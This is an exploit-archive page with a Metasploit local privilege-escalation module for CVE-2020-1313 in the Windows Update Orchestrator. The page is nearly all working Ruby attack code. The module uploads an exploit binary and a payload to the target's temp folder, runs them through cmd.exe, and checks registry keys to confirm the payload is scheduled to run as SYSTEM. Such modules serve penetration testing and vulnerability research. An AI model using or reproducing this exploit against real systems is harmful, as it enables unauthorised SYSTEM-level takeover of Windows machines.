Microsoft Windows Update Orchestrator Unchecked ScheduleWork Call

This Metasploit module exploit uses access to the UniversalOrchestrator ScheduleWork API call which does not verify the caller's token before scheduling a job to be run as SYSTEM. You cannot schedule something in a given time, so the payload will execute as system sometime in the next 24 hours.


MD5 | 58a0c7691e25387d090e181d07ae360d

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/registry'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Update Orchestrator unchecked ScheduleWork call',
'Description' => %q{
This exploit uses access to the UniversalOrchestrator ScheduleWork API call
which does not verify the caller's token before scheduling a job to be run
as SYSTEM. You cannot schedule something in a given time, so the payload will
execute as system sometime in the next 24 hours.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Imre Rad', # Original discovery? and PoC (https://github.com/irsl/CVE-2020-1313)
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2019',
'References' =>
[
['CVE', '2020-1313'],
['URL', 'https://github.com/irsl/CVE-2020-1313']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
}
)
)

register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXPLOIT_TIMEOUT',
[true, 'The number of seconds to wait for exploit to finish running', 60]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end

def exploit
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_exe = generate_payload_exe

# Check target
vprint_status('Checking Target')
validate_active_host
validate_target
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)

# Upload Exploit
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
ensure_clean_destination(exploit_path)
exploit_bin = exploit_data('cve-2020-1313', 'cve-2020-1313-exe.x64.exe')
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

# Upload Payload
vprint_status("Uploading Payload to #{sysinfo['Computer']} as #{exploit_path}")
ensure_clean_destination(payload_path)
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")

# Run Exploit
vprint_status('Running Exploit')
begin
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
vprint_status("Exploit Output:\n#{output}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
vprint_status("Cleaning up #{exploit_path}")
ensure_clean_destination(exploit_path)

# Check registry value
unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!')
end
reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') if reg_keys.nil?
found_job = false
reg_keys.each do |key|
start_arg = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'startArg')
next unless start_arg['Data'].include? payload_name

found_job = true
queued_time = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'queuedTime')
q_time_i = queued_time['Data'].unpack1('L_')
q_time_t = (q_time_i / 10000000) - 11644473600
print_good("Payload Scheduled for execution at #{Time.at(q_time_t)}")
end
fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') unless found_job
end

def validate_active_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end

def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
end

def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
if sysinfo_value =~ /10/ && (17763 < build_num) && (build_num <= 19041)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def ensure_clean_destination(path)
return unless file?(path)

print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end

Related Posts